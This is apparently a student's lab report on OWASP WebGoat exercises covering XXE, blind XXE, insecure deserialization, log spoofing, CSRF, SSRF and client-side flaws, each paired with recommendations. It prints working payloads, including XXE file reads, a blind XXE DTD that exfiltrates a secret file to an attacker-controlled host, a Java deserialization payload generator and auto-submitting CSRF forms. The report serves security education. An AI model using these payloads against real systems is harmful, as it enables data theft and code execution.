CYBR 350

Week # 7

WebGoat Assignment

Abby Gopal

A 5 Security Misconfigurations

XXE

A5 -Let’s Try

Exercise Title and Objective: "WebGoat XXE Attack and Mitigation Assessment"

Objective: Evaluate the susceptibility of WebGoat to XML External Entity (XXE) attacks and provide recommendations for mitigating identified vulnerabilities.

Methodology: The exercise utilized ZAP/Burp as intercepting proxies to manipulate XML requests and test for XXE vulnerabilities in the WebGoat application. The focus was on including a custom Document Type Definition (DTD) to trigger XXE and assess the system's response.

Steps Taken:

1. Opened WebGoat and navigated to the comment posting feature.
2. Used ZAP/Burp as an intercepting proxy to capture and modify the XML request.
3. Included a custom DTD in the XML payload: <!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///">]>.
4. Referenced the entity in the comment body: &xxe;.

Results and Findings:

1. Vulnerabilities Discovered: Successfully triggered XXE vulnerability in WebGoat.
2. Data or Access Gained: Access to file system information was obtained through the XXE attack.
3. Unexpected Outcomes: XXE attack revealed potential risks of unauthorized data access.
4. Analysis and Conclusions:
5. The findings underscore the significance of mitigating XXE vulnerabilities to prevent unauthorized access to sensitive data. In a real-world scenario, such exploits could lead to data breaches and compromise system integrity.

Recommendations:

Implement proper input validation to sanitize XML input and prevent XXE attacks.

Utilize secure coding practices to avoid reliance on user-controlled input for XML parsing.

Regularly update and patch XML parsers to address known vulnerabilities.

Reflection:

This exercise highlighted the importance of understanding and mitigating XXE vulnerabilities in web applications. In the future, a more thorough analysis of input validation mechanisms and secure coding practices would be essential to enhance the overall security posture.

References: Burp Suite Documentation, WebGoat Project Documentation

A screenshot of a computer

Description automatically generatedA screenshot of a computer

Description automatically generated

A 5 – XXE, Modern REST Framework

Exercise Title and Objective: "Content-Type Manipulation and XXE Attack on WebGoat"

Objective: Assess the security of WebGoat by attempting to manipulate the Content-Type header and execute an XML External Entity (XXE) attack.

Methodology: Utilized the browser's Development Tools and Network tab to intercept and modify HTTP requests. Attempted to manipulate the Content-Type header from "application/json" to "application/xml" and performed an XXE attack on the WebGoat comment endpoint.

Steps Taken:

1. Opened WebGoat and accessed the comment posting feature.
2. Used ZAP/Burp as an intercepting proxy to capture and modify the XML request.
3. Examined the initial request in the Network tab to identify the Content-Type header.
4. Edited the request, changing Content-Type from "application/json" to "application/xml."
5. Modified the request body with an XXE payload: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;</text></comment>.

Results and Findings:

1. Vulnerabilities Discovered: Successfully manipulated the Content-Type header and executed an XXE attack on the WebGoat comment endpoint.
2. Data or Access Gained: Obtained access to file system information through the XXE attack.
3. Unexpected Outcomes: Illustrates the risk of content type manipulation leading to unexpected processing of payloads.

Analysis and Conclusions:

The exercise highlights the significance of validating and enforcing the correct Content-Type for incoming requests. Manipulating headers, even temporarily, can lead to exploitation of vulnerabilities, as demonstrated by the successful XXE attack. In a real-world scenario, such an attack could compromise system integrity and expose sensitive information.

Recommendations:

Implement strict validation of Content-Type headers to prevent manipulation.

Employ input validation for all incoming data to mitigate XXE vulnerabilities.

Regularly review and update security configurations to address emerging threats.

Reflection:

The exercise underscores the importance of a multi-layered security approach, including proper validation of headers and inputs, to prevent unexpected exploitation. In the future, more emphasis on secure coding practices and input validation would be crucial.

References:

OWASP XML External Entity (XXE) Prevention Cheat Sheet

Browser Development Tools Documentation

WebGoat Project Documentation

A computer screen shot of a computer

Description automatically generated

A computer screen shot of a computer

Description automatically generated

A5 -XXE, Blind XXE Assignment

Exercise Title and Objective: "Blind XXE Attack on WebGoat with External Entity Inclusion"

Objective: Evaluate the susceptibility of WebGoat to a blind XXE attack, exploiting an external entity inclusion vulnerability.

Methodology: Used the browser's Development Tools and Network tab to intercept and modify HTTP requests. Uploaded the contents\_file.dtd on WebWolf to set up the blind XXE attack, aiming to exfiltrate data from a specified file.

Steps Taken:

1. Uploaded contents\_file.dtd on WebWolf to establish an external entity inclusion vulnerability. <?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://host:port/landing?%file;' >" >%all;

1. Opened WebGoat and accessed the comment posting feature.
2. Used ZAP/Burp as an intercepting proxy to capture and modify the XML request.
3. Located the blind XXE query in the Network tab and initiated an Edit and Resend action.
4. Edited the request body with the specified XML payload and included the contents\_file.dtd entity definitions.

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE xxe [

<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt" >

<!ENTITY % dtd SYSTEM "http://host:port/files/username/contents\_file.dtd" >

%dtd;

]>

<comment>

<text>test&send;</text>

</comment>

Results and Findings:

1. Vulnerabilities Discovered: Successfully exploited a blind XXE vulnerability in WebGoat.
2. Data or Access Gained: Obtained access to the contents of the specified file on the server.
3. Unexpected Outcomes: Illustrates the risk of blind XXE attacks, where the attacker does not receive direct responses but can infer information based on the server's behavior.

Analysis and Conclusions:

The exercise highlights the potential severity of blind XXE attacks, emphasizing the need for thorough input validation and secure coding practices. Such vulnerabilities can lead to unauthorized data access, posing a significant risk in real-world scenarios.

Recommendations:

1. Implement input validation and sanitization to prevent blind XXE vulnerabilities.
2. Regularly update and patch XML parsers and related components to address known vulnerabilities.
3. Conduct thorough security assessments to identify and mitigate blind XXE risks.
4. Reflection:
5. The exercise provided insights into the stealthy nature of blind XXE attacks and the importance of adopting a comprehensive security posture. In future assessments, a more in-depth analysis of XML parsing mechanisms and input validation would be crucial.

References:

WebWolf Project Documentation:

Browser Development Tools Documentation

WebGoat Project Documentation

A6 Vulnerable and Outdated Components

Exercise Title: The exploit is not always in “Your”code and Exploiting CVE-2013-7285 (XStream)

Objective:

The objective of this exercise is to understand and demonstrate the exploitation of a known vulnerability, specifically CVE-2013-7285, affecting XStream, a Java library for serialization. The exercise aims to illustrate the potential risks associated with insecure deserialization and the impact it can have on a system.

Methodology:

The exercise employs a targeted approach to exploit the XStream vulnerability using crafted payloads. Tools such as Python scripts and XStream payloads will be utilized to demonstrate the exploitation. The methodology involves manipulating serialized data to execute arbitrary code on the target system.

Steps Taken:

Identify the Target System:

Select a target system with a vulnerable version of XStream.

Craft Exploitative Payloads:

Develop payloads to exploit the CVE-2013-7285 vulnerability.

Leverage knowledge of the XStream vulnerability to create payloads that trigger arbitrary code execution.

Execute the Payload:

Deliver the crafted payload to the target system using a chosen delivery method.

Capture Screenshots:

Document critical steps with screenshots to visually illustrate the exploitation process.

Address Challenges:

Identify and address any challenges encountered during payload crafting or execution.

Results and Findings:

Vulnerabilities Discovered:

Successfully exploited the CVE-2013-7285 vulnerability in XStream.

Data or Access Gained:

Demonstrated the ability to execute arbitrary code on the target system.

Unexpected Outcomes:

Uncovered additional attack surface or potential vectors during the exercise.

Analysis and Conclusions:

Implications:

Insecure deserialization can lead to remote code execution, posing a severe risk to the confidentiality and integrity of the target system.

Insights:

Gain insights into the importance of secure deserialization practices and the impact of known vulnerabilities in widely-used libraries.

Recommendations:

Mitigating Identified Vulnerabilities:

Apply patches or updates to address the CVE-2013-7285 vulnerability in XStream.

Implement proper input validation and filtering to prevent insecure deserialization.

Improving Security Practices:

Educate developers on secure coding practices, emphasizing the risks associated with deserialization.

Reflection:

Lessons Learned:

Understanding the significance of secure deserialization and the need for timely patching.

Future Approaches:

Prioritize regular security audits and testing to identify and address deserialization vulnerabilities.

Cybersecurity Principles:

Illustrates the critical importance of input validation and secure coding in preventing exploitation.

References:

A8- Insecure Deserialization

Let’s try.

Exercise Title and Objective: "Insecure Deserialization Attack on WebGoat"

Objective: Assess the vulnerability of WebGoat to insecure deserialization attacks and demonstrate the potential impact on the system.

Methodology: Utilized browser Development Tools and Network tab to intercept and manipulate HTTP requests. Exploited insecure deserialization in WebGoat to manipulate serialized data and execute arbitrary code.

Steps Taken:

1. Identified a serialized object in a WebGoat request.
2. Captured the serialized data and modified it to inject malicious code.
3. Utilized a crafted payload generation method in IntelliJ:java

public void createPayload() throws Exception {

VulnerableTaskHolder o = new VulnerableTaskHolder("namenotimportant", "sleep 5");

ByteArrayOutputStream baos = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(baos);

oos.writeObject(o);

oos.close();

System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));

}

4.Ran the payload generation method in IntelliJ to obtain the crafted payload.

5.Resent the request with the crafted payload to trigger insecure deserialization in WebGoat.

6.Analyzed the system's response to identify potential security implications.

Results and Findings:

1. Vulnerabilities Discovered: Successfully exploited an insecure deserialization vulnerability in WebGoat.
2. Data or Access Gained: Demonstrated the ability to execute arbitrary code through manipulated serialized data.
3. Unexpected Outcomes: Illustrates the risk of insecure deserialization, where untrusted data can lead to code execution.

Analysis and Conclusions:

The exercise underscores the importance of securing deserialization processes in web applications. Insecure deserialization can allow attackers to manipulate data and execute arbitrary code, posing serious security risks. Proper input validation and secure coding practices are crucial to mitigate such vulnerabilities.

Recommendations:

Implement strong input validation for serialized data to prevent manipulation.

Adopt secure coding practices to validate and sanitize deserialized objects.

Regularly update and patch libraries and frameworks to address known insecure deserialization vulnerabilities.

Reflection:

The exercise provided insights into the potential impact of insecure deserialization on web applications. In future assessments, a more thorough examination of serialization and deserialization processes will be essential to ensure robust security measures.

References:

Browser Development Tools Documentation

WebGoat Project Documentation

OWASP Deserialization Cheat Sheet

IntelliJ IDEA Documentation

A computer screen with a black keyboard

Description automatically generated

A screenshot of a computer

Description automatically generated

A9 Security Logging Failures

Logging Security

Exercise Title and Objective: "Logging Security Assessment on WebGoat with Log Spoofing"

Objective: Evaluate the logging mechanisms in WebGoat to identify potential security vulnerabilities, focusing on log spoofing attacks. The goal is to manipulate log entries to make it appear as if the username "admin" successfully logged in.

Methodology: Employed browser Development Tools and Network tab to intercept and analyze HTTP requests. Assessed Web Goat’s logging features to identify security gaps and specifically tested for log spoofing vulnerabilities.

Steps Taken:

1. Explored Web Goat’s logging functionality to understand the logging mechanisms in place.
2. Leveraged browser Development Tools to intercept and inspect logging-related requests.
3. Analyzed the content of log entries to identify sensitive information and potential security risks.
4. Attempted log spoofing attacks to manipulate log entries and make it seem like the username "admin" successfully logged in.
5. Examined the log storage and retention policies to identify any weaknesses in data protection.
6. Documented key steps and findings with screenshots.

Results and Findings:

1. Logging Vulnerabilities Identified: Discovered potential vulnerabilities such as:
2. Inclusion of sensitive information in log entries.
3. Successful log spoofing attacks, making it appear as if the username "admin" logged in.
4. Data or Access Gained: Demonstrated the impact of log manipulation, achieving the goal of making it seem like the username "admin" successfully logged in.
5. Unexpected Outcomes: Illustrates the significance of secure logging practices in protecting sensitive information and maintaining the integrity of log data. Specifically, log spoofing attacks can deceive the system.

Analysis and Conclusions:

The exercise highlights the importance of robust logging security practices to prevent log spoofing attacks. Log entries should be resistant to manipulation to maintain the trustworthiness of the system logs.

Recommendations:

1. Implement proper input validation and sanitization for log entries to prevent log spoofing attacks.
2. Exclude sensitive information from being logged to avoid exposure of critical data.
3. Enforce secure storage and retention policies for logs to maintain data privacy and compliance.

Reflection:

The logging security assessment provided valuable insights into potential risks associated with WebGoat's logging mechanisms, with a focus on log spoofing attacks. Future assessments should continue to explore and address such vulnerabilities to enhance overall system security.

References:

Browser Development Tools Documentation

WebGoat Project Documentation

A screenshot of a computer

Description automatically generatedA computer screen with a login page

Description automatically generatedA computer screen with a message

Description automatically generatedA computer screen with text on it

Description automatically generated

A10 Server-Side request Forgery

Cross Site Request Forgeries

Exercise Title: Exploiting Cross-Site Request Forgery (CSRF) with Developer Tools

Objective:

The objective of this exercise is to simulate and understand CSRF attacks by leveraging browser developer tools. Participants will explore how attackers can manipulate HTML and utilize hidden fields to craft malicious requests, tricking users into unintended actions on a vulnerable web application.

Methodology:

This exercise involves using browser developer tools to modify HTML code and simulate a CSRF attack on a target web application. Participants will manually craft malicious requests, exploit the CSRF vulnerability, and manipulate user actions.

Steps Taken:

Identify the Target Web Application:

Select a web application with CSRF vulnerabilities, allowing actions without adequate anti-CSRF protection.

Craft HTML and JavaScript Code:

Use browser developer tools to create HTML and JavaScript code that simulates a CSRF attack.

Embed the crafted code in an HTML file for execution.

<!-- Fake HTML page for Basic Get CSRF Exercise -->

<form accept-charset="UNKNOWN" id="basic-csrf-get" method="POST" name="form1" target="\_blank" successcallback="" action="http://localhost:8080/WebGoat/csrf/basic-get-flag">

<input name="csrf" type="hidden" value="false">

<input type="submit" name="submit">

</form>

<!-- CSRF Attack - Post a review on someone else’s behalf -->

<form class="attack-form" accept-charset="UNKNOWN" id="csrf-review" method="POST" name="review-form" successcallback="" action="http://localhost:8080/WebGoat/csrf/review">

<input type="hidden" name="reviewText" type="text" value="Oh no!">

<input type="hidden" name="stars" type="text" value="5">

<input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">

<input type="submit" name="submit" value="Submit review">

</form>

<!-- CSRF Attack - Login CSRF attack -->

<form action="http://localhost:8080/WebGoat/login" method="POST" style="width: 200px;">

<input type="hidden" name="username" value="csrf">

<input type="hidden" name="password" value="hello123">

<button type="submit">Sign in</button>

</form>

<script>document.login.submit()</script>

Exploit the CSRF Vulnerability:

Open the crafted HTML file in a Firefox browser to execute the CSRF attack.

Observe the impact on the target system and affected user accounts.

Address Challenges:

Identify and address any challenges encountered during the execution of the CSRF attack with developer tools.

Results and Findings:

Vulnerabilities Discovered:

Successfully exploited the CSRF vulnerability using browser developer tools.

Data or Access Gained:

Demonstrated the ability to manipulate user actions and perform unauthorized operations on behalf of the victim.

Unexpected Outcomes:

Uncovered potential secondary vulnerabilities or unexpected consequences during the exercise.

Analysis and Conclusions:

Implications:

Browser developer tools can be used to craft and execute CSRF attacks, emphasizing the need for robust anti-CSRF measures.

Insights:

Understanding the ease with which attackers can manipulate HTML and JavaScript to perform CSRF attacks.

Recommendations:

Mitigating Identified Vulnerabilities:

Implement anti-CSRF tokens to validate and authenticate user actions.

Improving Security Practices:

Train developers on secure coding practices, emphasizing the importance of anti-CSRF measures.

Reflection:

Lessons Learned:

Recognizing the significance of implementing effective anti-CSRF measures to prevent manipulation via developer tools.

Future Approaches:

Conduct thorough security testing, including assessments of the impact of developer tool manipulation on web applications.

Cybersecurity Principles:

Illustrates the need for comprehensive defense mechanisms against CSRF, considering various attack vectors.

References:

A computer screen with a black and white text

Description automatically generatedA computer screen with a message

Description automatically generated

A 10-Server Side request Forgery

Exercise Title and Objective: "Server-Side Request Forgery (SSRF) Assessment on WebGoat"

Objective: Assess the susceptibility of WebGoat to Server-Side Request Forgery attacks. Identify potential vulnerabilities that could allow an attacker to make unauthorized requests to internal resources or third-party services.

Methodology: Utilized browser Development Tools and Network tab to intercept and analyze HTTP requests. Explored WebGoat's functionality to identify areas susceptible to SSRF attacks. The goal is to manipulate the server into making unintended requests.

Steps Taken:

1. Explored WebGoat's features to identify potential areas where user inputs influence server-side requests.
2. Leveraged browser Development Tools to intercept and inspect requests made by WebGoat.
3. Attempted SSRF attacks by manipulating input parameters to make unintended requests to internal resources or external services.
4. Analyzed the responses to SSRF attacks to understand the impact and potential security risks.
5. Documented key steps and findings with screenshots.

Results and Findings:

1. SSRF Vulnerabilities Identified: Discovered potential vulnerabilities where user-controlled inputs influence server-side requests.
2. Unauthorized Access: Successfully demonstrated the ability to make unintended requests to internal resources or third-party services.
3. Unexpected Outcomes: Illustrates the risk of SSRF attacks, where an attacker can exploit the server to access sensitive information or perform actions on behalf of the server.
4. Analysis and Conclusions:

The exercise emphasizes the importance of securing against SSRF attacks, as they can lead to unauthorized access and compromise the confidentiality and integrity of the application.

Recommendations:

Implement input validation and sanitization for user-controlled inputs to prevent SSRF vulnerabilities.

Employ a whitelist approach for validating and restricting allowed resources for server-side requests.

Educate developers on the risks associated with SSRF attacks and secure coding practices.

Reflection:

The SSRF assessment provided valuable insights into potential vulnerabilities in WebGoat's server-side request handling. Future assessments should continue to explore and address such vulnerabilities to enhance overall system security.

References:

Browser Development Tools Documentation

WebGoat Project Documentation

OWASP Server-Side Request Forgery (SSRF) Cheat Sheet

A computer screen with a cartoon character on it

Description automatically generated

A computer screen with a blue and white text

Description automatically generatedA computer screen with a black and white text

Description automatically generated

A computer screen with a message on it

Description automatically generated

Client Side

Exercise Title and Objective: "Client-Side Security Assessment on WebGoat"

Objective: Evaluate the client-side security measures in WebGoat to identify potential vulnerabilities and assess the overall resilience of the application to client-side attacks.

Methodology: Utilized browser Developer Tools and examined client-side scripts to assess potential vulnerabilities. Explored WebGoat's client-side functionalities to identify weaknesses and test for common client-side security issues.

Steps Taken:

1. Explored WebGoat's client-side features to understand the structure and behavior of client-side scripts.
2. Leveraged browser Developer Tools to inspect and analyze client-side scripts and requests.
3. Tested for Cross-Site Scripting (XSS) vulnerabilities by injecting malicious scripts into user inputs.
4. Examined the handling of client-side storage mechanisms, such as cookies and local storage, for potential security risks.
5. Assessed the application's resistance to Cross-Site Request Forgery (CSRF) attacks by attempting unauthorized requests.
6. Explored the use of Content Security Policy (CSP) headers and their effectiveness in mitigating client-side security risks.
7. Executed a request to retrieve coupon codes:

{

"codes": [

{

"code": "webgoat",

"discount": 25

},

{

"code": "owasp",

"discount": 25

},

{

"code": "owasp-webgoat",

"discount": 50

},

{

"code": "get\_it\_for\_free",

"discount": 100

}

]

}

1. Documented key steps and findings with screenshots.

Results and Findings:

Client-Side Vulnerabilities Identified:

1. Discovered potential XSS vulnerabilities, indicating inadequate input validation.
2. Examined client-side storage mechanisms for potential weaknesses.
3. Assessed the application's resistance to CSRF attacks.

Unauthorized Access:

Demonstrated the impact of successful XSS attacks, highlighting the risk of unauthorized access.

Unexpected Outcomes:

Illustrated the importance of implementing secure client-side practices to prevent common vulnerabilities.

Analysis and Conclusions:

The client-side security assessment emphasizes the need for robust security measures to protect against common client-side attacks. Addressing vulnerabilities such as XSS and CSRF is crucial to ensuring the integrity and security of client-side interactions.

Recommendations:

Implement thorough input validation and sanitization to prevent XSS vulnerabilities.

Utilize secure client-side storage practices, and regularly audit and update cookie settings.

Employ anti-CSRF tokens to mitigate the risk of Cross-Site Request Forgery attacks.

Implement and enforce Content Security Policy (CSP) headers to restrict the execution of scripts from unauthorized sources.

Reflection:

The assessment provided valuable insights into potential client-side vulnerabilities in WebGoat. Future evaluations should continue to focus on enhancing client-side security measures to create a more resilient application.

A computer screen with a white text on it

Description automatically generatedReferences:

A computer screen with a white box

Description automatically generatedA computer screen with white text

Description automatically generated

A computer screen with a white text

Description automatically generatedA computer screen with a menu on it

Description automatically generatedA computer screen with a white text

Description automatically generatedA computer screen with a white screen

Description automatically generatedA computer screen with a white text

Description automatically generatedA computer screen with text on it

Description automatically generated